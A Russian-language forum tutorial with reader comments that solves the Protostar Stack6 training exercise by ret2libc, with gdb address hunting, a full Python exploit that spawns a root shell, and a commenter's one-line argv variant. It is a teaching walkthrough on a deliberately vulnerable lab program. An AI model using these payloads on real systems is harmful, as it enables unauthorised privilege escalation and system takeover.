• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья Переполнение буфера и техника эксплуатации Ret2Libc - Изучение методов эксплуатации на примерах, часть 7

Все части переполнение буфера
Предыдущая часть Переполнение буфера и размещение шеллкода в памяти - разработка эксплойтов, часть 6

Привет codeby =) Прошло много времени с тех пор, как я последний раз писал статью, и я думаю, что пришло время для новой. В предыдущей статье мы познакомились с шеллкодом, и написали с вами первый эксплойт и даже не один, а два, размещали шеллкод в буфере и размещали шеллкод за адресом возврата (RET) при этом используя прием NOP-Sled. А так же узнавали реальные адреса в памяти, анализируя дамп памяти, так, как, под отладчиком адреса не много смещаются. В этой статье мы познакомимся с новым подходом выполнения кода.

Описание ExploitMe

Stack6 смотрит на то, что происходит, когда у вас есть ограничения на обратный адрес.

Этот уровень может быть выполнен несколькими способами, такими как поиск дубликата полезной нагрузки (objdump -s поможет с этим), или ret2libc, или даже обратно ориентированным программированием, ориентированное на возврат (ROP).

Настоятельно рекомендуется поэкспериментировать с несколькими способами заставить ваш код выполняться здесь.

, VM
Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}
Решение
Приступим - рассмотрим исходный код программы. Главная функция main() вызывает подпрограмму, функцию getpath(), эта функция имеет буфер на 64 байта и уязвимую функцию gets(), которая и будет использовать этот буфер, так же у нас есть без знаковая целочисленная переменная обозначенная как ret, в неё будет записан адрес возврата текущей функции, переданный из функции .

Условие в коде (ret & 0xbf000000) == 0xbf000000) говорит нам, что если адрес возврата указывает на стек, программа завершается с кодом (EXIT_FAILURE) т.е. с кодом 1.

Запустим отладчик чтобы убедится в этом, а именно посмотрим на регистр ESP и EBP.
Код:
gdb -q ./stack6
break main
run
info registers
29086


Как нам видно "0xbf .. .. .." это стековые адреса
Код:
esp            0xbffffd20       0xbffffd20
ebp            0xbffffd28       0xbffffd28
Теперь проверим это условие используемся питоном, выходим из отладчика - quit.

Запускаем python

и вводим следующий код
Python:
hex(0xffffffff & 0xbf000000)
hex(0xff123456 & 0xbf000000)
hex(0xff12abcd & 0xbf000000)
hex(0xbf12abcd & 0xbf000000)
hex(0xbfffffff & 0xbf000000)
29074


Закрываем интерпретатор питона Ctrl+D. Видно, что использование адресов с 0xff - 0xbf приведет выходу из программы со статусом (EXIT_FAILURE). Вот почему нам сказали использовать Ret2Libc или ROP в условии задания.

С этого момента в решение этой и последующих задач, мы будет не только приобретать новые знания и опыт, но и осваивать техники эксплуатации. Что же это такое??? Это методы как заюзать уязвимость. Как использовать, эксплуатировать уязвимость. По аналогии приведу пример, чтобы было более менее понятно. Существует допустим уязвимость внедрения SQL-кода на каком-нибудь сайте. Так вот, бывает, что эту уязвимость эксплуатировать легко, а бывает, что не всегда с первого раза SQL-Injection можно раскрутить. И тут нам на помощь приходят всякие кодировки, которые помогают достичь цели. Или же если SQL-Injection не совсем обычная, а Blind типа. И тогда мы уже используем другие методы отходя от привычных или же комбинируем их.

Эти методы и есть техники эксплуатации уязвимостей. Возможно пример не самый удачный, но всё же он отражает хоть какую-то суть...

Ret2Libc

Следующая ступень в эксплуатации бинарных уязвимостей это техника ret2libc.

Ret2Libc - это техника эксплуатации когда адрес возврата (RET) функции в стеке подменяется адресом иной функции в программе, и в последующую часть стека записываются параметры для вызываемой функции. Эта техника позволяет нападающему выполнить какую-либо существующую функцию без необходимости внедрения шеллкода в программу. Простыми словами Ret2Libc - это возврат в libc или возврат в библиотеку языка Cи.

libc — это стандартная библиотека языка Cи. Она содержит все общие системные функции, включённые в язык программирования C.

В одной статье мне понравилось сравнение ret2libc с аналогией из фильма Матрица. Точней говоря одним из моментов этого фильма.

Вот этот момент


Сцена фильма "Оружие, много оружия", идеально демонстрирует суть Ret2Libc. Оператор смог полностью обойти и перепрограммировать матрицу, чтобы МОРЕ оружия просто появилось из ниоткуда. Всё это оружие это функции в libc.

Это и есть ret2libc. Когда мы сделаем переход в эту библиотеку (LibC) у нас появится возможность вызывать все функции которая содержит эта библиотека.

Техника ret2libc основана на переполнении буфера. Поэтому нам надо будет перезаписывать данные в стеке, и перезаписать указатель возврата, чтобы указать на конкретную функцию в libc, и передать ей любые аргументы, необходимые для доставки нашей боевой нагрузки.

Одной из самых распространённых функций при атаках используя технику Ret2libc является функция system(). Давайте посмотрим на документацию
Код:
man system
29075


Ctrl+Z - выходим.

Как мы видим, функция system() просто выполняет shell-команды. Более того, если мы прочитаем описание, то увидим, что система просто выполняет '/bin/sh -c <команда>', и команда передаётся в функцию через аргумент.

Итак, всё, что нам нужно сделать, чтобы получить доступ из командной строки к компьютеру, на котором запущено уязвимое приложение — это вставить '/bin/sh' в стек в качестве аргумента, а затем заменить указатель возврата или вызов адресом памяти функции system(), так чтобы эта функция вызывалась с '/bin/sh' в качестве аргумента, запускала оболочку и предоставляла нам полный доступ через систему.

Но для того, чтобы овладеть техникой ret2libc, нужно овладеть техникой "перезаписью сохраненного значения в регистре EIP".

Которая применяется при написании классических эксплойтов. Т.е. для простых эксплойтов, где не нужно обходить всякие защиты подобные SEH\DEP, ну или частично... А мы её уже изучили, поэтому нам не составит труда освоить и эту технику эксплуатации.

Мы помним что для реализации этой техники эксплуатации "Overwriting saved EIP" надо...
  1. Переполнить буфер
  2. Получить ошибку Segmentation fault 0x41424344
  3. Вычислить смещение offset
  4. положить адрес в регистр EIP
Вся область которая перезаписывает регистр EIP
смещение + 4 байта (EIP) адрес шеллкода

Как то так...

Так же мы знаем еще одну технику NOP-sled. Где мы использовали кучу нопов для выполнения нашего шеллкода который был размещен за адресом возврата (RET).

И мы комбинировали их "Overwriting saved EIP" + "NOP-sled".

А для реализации техники Ret2Libc нам надо.
"Overwriting saved EIP" + "ret2libc"
  1. Получить всю область которая перезаписывает регистр EIP (Overwriting saved EIP)
  2. Получить адрес функции system()
  3. Получить адрес функции exit()
  4. Получить адрес оболочки '/bin/bash'
Далее сконвертировать полученные адреса и данные в эксплойт.

eipOffset + systemAddr + exitAddr + shellAddr

и выполнить его.

И так создадим файл eipOffset.txt
Код:
nano ~/eipOffset.txt
положим туда строку
Код:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
F2,y,enter. (Ну или воспользуемся сайтом, хоть так, хоть так, разницы нет, буфер у нас на 64 байта. Если бы он был большего размера, тогда уж лучше воспользоваться сайтом или утилитами из метасплойта)

Запускаем отладчик
Код:
gdb -q ./stack6
Делаем перенаправление из файла в программу
Код:
run < ~/eipOffset.txt
29076


Мы получили адрес "0x55555555", теперь чтобы не использовать ASCII-таблицу.
Поступим следующим образом более удобным, выходим из отладчика GDB -
Код:
q,y,enter
. И запускаем python - интерпретатор.

И выполняем функции chr() которая нам поможет определить, что это за последовательность букв была.

29077


Отлично это 4 байтовая последовательность из букв 'U'

Далее узнаем длину строки функцией len()
Код:
len("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU")
29078


84 байта это та область которая перезаписывает EIP.

Ctrl+D - выход

Хотя, удобнее было воспользоваться утилитами метасплойта pattern_offset.rb и pattern_create.rb ну или тем сайтом. Тогда мы не делали столько телодвижений. Но я хотел показать вам, что python можно использовать как вспомогательный инструмент. И даже нужно. Это удобно и быстро.

И так 80 байт мусора + 4 байта на адрес

Первая часть кода эксплойта
Python:
eipOffset = 'A'*80
systemAddr = Адрес (4 байта)
Теперь нам надо выполнить пункт 2 и 3.

2. Получить адрес функции system()
3. Получить адрес функции exit()

Далее запустим отладчик, поставим точку останова на главную функцию, запустим программу и затем посмотрим адрес функции system() и функции exit() командой 'print' - которая печатает значение переменных, так же у этой команды есть сокращение как и остальных - 'p'.
Код:
gdb -q ./stack
break main
run
print system
print exit
quit
29079


Адреса получены
Код:
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
Вторая часть кода эксплойта с первой
Python:
from struct import pack
eipOffset = "A"*80
systemAddr = pack("I", 0xb7ecffb0)
exitAddr = pack("I", 0xb7ec60c0)
shellAddr = Адрес '/bin/bash' (4 байта)
Двигаемся дальше...

Теперь нам надо выполнить пункт 4.

4. Получить адрес оболочки '/bin/bash'

Для того чтобы узнать адрес воспользуемся командой "info proc map" для того, чтобы отобразим адресное пространство и тем, самым посмотрим где libc загружен в память.
Код:
gdb -q ./stack6
break main
run
info proc map
29080


Отлично адрес мы вычислили, libc загружен по адресу 0xb7e97000. Теперь попробуем найти в памяти строку "/bin/sh". Для того чтобы это сделать воспользуемся командой find, которая помогает осуществлять поиск в памяти.


find адрес, +размер, значение
find начальный_адрес, конечный адрес, значение
Код:
find 0xb7e97000, +9999999, "/bin/sh"
x/s 0xb7fba23f
29081


Отладчик выдал нам паттерн (шаблон) по адресу 0xb7fba23f, но когда мы попытались заглянуть в память по этому адресу и результат вывода отобразить память как строчку, то мы не нашли там "/bin/sh". Можно продолжить дальше искать в памяти, что очень затруднительно... Поэтому поступим следующим образом, будем использовать команду в Linux. Выходим из отладчика.
Код:
quit
Запустим команду с такими параметрами -a -t x, а так же укажем полный путь до библиотеки + подключим утилиту grep для поиска нужной нам строки.

ключ -a указывает на то, что нужно просмотреть весь файл.
ключи -t x указывают на то, что надо отобразить смещение в шестнадцатеричном формате.
Код:
strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
29082


Результат не заставляет себя ждать, мы нашли строку "/bin/sh" в Libc по смещению 0x11f3bf
А сама библиотека Libc загружены по адресу 0xb7e97000

Сложим эти два адреса, что мы имеем. Воспользуемся питоном

Запускаем python
Python:
shellAddr = 0xb7e97000 + 0x11f3bf
hex(shellAddr)
Ctrl+D выходим из интерпретатора питона.

29083


Наша строка "/bin/sh" находится в памяти по адресу 0xb7fb63bf. Для большей убедительности проверим в отладчике.

Загружаем программу в отладчик, ставим точку останова, и запускаем программу по отладчиком и смотрим наш адрес.
Код:
gdb -q ./stack6
break main
run
x/s 0xb7fb63bf
quit
29084


Отлично мы получили действительный адрес "/bin/sh".

Теперь напишем с вами полный эксплойт, так, как не достающий адрес мы вычислили.

Открываем редактор и пишем туда
Код:
nano ~/exploit.py
следующий питон код
Python:
from struct import pack
eipOffset = "A"*80
systemAddr = pack("I", 0xb7ecffb0)
exitAddr = pack("I", 0xb7ec60c0)
shellAddr = pack("I", 0xb7fb63bf)
print eipOffset + systemAddr + exitAddr + shellAddr
Выходим из редактора и сохраняем наш файл с данными.
Код:
f2,y,enter.
Настало время для теста ;)

29085

Код:
id
whoami
(python ~/exploit.py ; cat) | ./stack6
id
whoami
Ctrl+C
Как видите мы успешно получили оболочку с правами root пользователя. На этом всё, теперь можно переходить на следующий уровень . Кстати говоря техника Ret2Libc и ROP помогает обойти такую защиту, как Data Execution Prevention (DEP), т.е. когда включен NX (XD) бит, эта защита которая запрещает выполнять код в стеке. В Intel = NX bit. В AMD = XD bit. Если говорить чуть более подробно, то DEP работает следующим образом. Память которая не должна исполняться (например, стек), помечается специальным битом NX (XD). Если ты попробуешь запустить код из памяти с установленным битом NX, то вызывается исключение. Это не позволяет использовать эксплоиты, которые просто передают управление на шелл-код. Для обхода DEP/NX (XD) и существуют такие техники, как Return-Oriented Programming и Ret2LibC. Мы даже с вами еще не затронули защиту, а уже познакомились с Ret2LibC. В следующей статье мы коснемся такой темы, как ROP.
 

Lk1

One Level
12.12.2018
2
2
BIT
0
Отличный цикл статей)
из статьи не совсем понятно:
1) через пепеполнение буфера перезаписываем адрес возврата в стеке на адрес функции system (), но каким образом на вход функции попадает адрес строки /bin/sh, который мы просто положили в стек? По идеи после перезаписи eip будет выполнен system () без аргумента. Аргумент то остался в стеке по адресу &ret+4байта (exitAddr)
2) зачем мы включаем в эксплоит адрес функции exit?
Буду благодарен за разъяснения)
 
Последнее редактирование:
  • Нравится
Реакции: SooLFaa
U

unicorn

1) Вызов system() в ассемблере:
mov [esp],0xdeadbeef ;ссылка на строку
call system()
2) Так эллегантней)). Во избежание ошибки (которая была бы после вызова system())
 
  • Нравится
Реакции: fuzzz

Lk1

One Level
12.12.2018
2
2
BIT
0
спасибо, но 1ый пункт все равно понять не могу - в стек ложится адрес exit потом сразу адрес шелла. Из твоего обьяснения выходит аргументом для system() будет сразу и то и то, что вообще не должно выполниться.
Проверил - код рабочий. Видимо я что то концептуального не понимаю.
Может кто нибудь на пальцах обьяснить почему в качестве аргумента для функции system берется строка, адрес который лежит в стеке после ret, а потом вызывается еще раз эта же функция, но берется следующий аргумент?
 
  • Нравится
Реакции: Pav

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 186
BIT
0
очень хороший цикл статей) если это все освоить, можно не плохо заработать! легально и нет)))

спасибо, но 1ый пункт все равно понять не могу - в стек ложится адрес exit потом сразу адрес шелла. Из твоего обьяснения выходит аргументом для system() будет сразу и то и то, что вообще не должно выполниться.
Проверил - код рабочий. Видимо я что то концептуального не понимаю.
Может кто нибудь на пальцах обьяснить почему в качестве аргумента для функции system берется строка, адрес который лежит в стеке после ret, а потом вызывается еще раз эта же функция, но берется следующий аргумент?
возможно )) или (на живом примере)
 
Последнее редактирование:
  • Нравится
Реакции: fuzzz

fuzzz

Red Team
03.02.2019
249
467
BIT
1
2) зачем мы включаем в эксплоит адрес функции exit?
Буду благодарен за разъяснения)

Если в место адреса положить к примеру
exitAddr = pack("I", 0xb7ec60c0)

4 байта мусора.

exitAddr = "AAAA"
Код тоже будет работать и мы тоже получим оболочку.
Но когда мы закроем оболочку Ctrl+D полученную через эксплойт, код поведет себя не стабильно и мы получим ошибку сегментации, программа попытается обратится к этому участку памяти.

Поэтому для стабильности работы эксплойта добавляется адрес exit() функции.

29707


Про аргументы отпишу чуть позже...
 

term1nal

Codeby Games
12.02.2019
1
0
BIT
27
Добрый день. А с чем связано такое поведение GDB, что он показыает KIND in __gen_tempname? При том если ужать адреса поиска, то все нормально:

(gdb) find 0xb7fb6300, +9999999, "/bin/sh"
0xb7fb63bf
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found.
(gdb) x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
(gdb)
 

fuzzz

Red Team
03.02.2019
249
467
BIT
1
Добрый день. А с чем связано такое поведение GDB, что он показыает KIND in __gen_tempname? При том если ужать адреса поиска, то все нормально:

(gdb) find 0xb7fb6300, +9999999, "/bin/sh"
0xb7fb63bf
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found.
(gdb) x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
(gdb)
Когда программа загружает под отладчиком адреса смещаются. Поэтому один и тот же адрес может показывать разные вещи. Скорее всего так.. А может быть я ошибаюсь. Но тут смещение точно играет роль.
 

Rizor

Member
24.06.2019
6
0
BIT
0
@fuzzz здравствуйте! У меня возникла проблема-не работает эксплоит хоть адреса и верные
Код:
root@reffy:/home/centurion# (python exploit.py ; cat) | ./vuln2
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
whoami
Segmentation fault
вот код-

#include <string.h>

void functionFunction(char *param, int p2, float p3)
{
    char local[64];

    strcpy(local, param);
}

int main(int argc, char** argv)
{
    functionFunction(argv[1], 42, 3.14);
}
вот эксплоит-
from struct import pack
eip = "A"*80
system = pack("I", 0xb7e44b40)
exit = pack("I", 0xb7e387f0)
shell = pack("I", 0xb7f678c8)
print eip + system + exit + shell
P.S. заранее спасибо!
 

fuzzz

Red Team
03.02.2019
249
467
BIT
1
@fuzzz здравствуйте! У меня возникла проблема-не работает эксплоит хоть адреса и верные

root@reffy:/home/centurion# (python exploit.py ; cat) | ./vuln2
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
whoami
Segmentation fault
вот код-

#include <string.h>

void functionFunction(char *param, int p2, float p3)
{
char local[64];

strcpy(local, param);
}

int main(int argc, char** argv)
{
functionFunction(argv[1], 42, 3.14);
}
вот эксплоит-
from struct import pack
eip = "A"*80
system = pack("I", 0xb7e44b40)
exit = pack("I", 0xb7e387f0)
shell = pack("I", 0xb7f678c8)
print eip + system + exit + shell
P.S. заранее спасибо!
Ты бы хоть код в теги кидал, а то не очень выглядит. У тебя тут косяк в запуске эксплойта, в том что уязвимая программа работает через argv[1], тебе надо эксп не так запускать. А передавать его через аргумент.

Т.е.

Код:
./программа <твой payload>

Примерно так... Попробуй, должно работать...
Код:
./vuln `python -c "from struct import pack; eip='A'*80; system=pack('I', 0xb7e44b40); exit=pack('I', 0xb7e387f0); shell=pack('I', 0xb7f678c8); print eip + system + exit +shell"; cat`
 
Последнее редактирование:
  • Нравится
Реакции: Rizor
05.05.2023
1
0
BIT
0
При выполнении system() создаётся новый стековый фрейм. Когда он создаётся, вместо, то там, где раньше был адрес eip появляется ebp. Далее эта функция должна взять где-то аргумент - ebp+8. Так получается, что этот адрес падает туда, куда и была положена строка "/bin/sh".
В свою очередь exit() оказывается на месте ret.
В итоге функция выполняется успешно и завершается без ошибок.
Я так понял. Если где-то не прав, то прошу исправить)
Ссылка с объяснением:
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!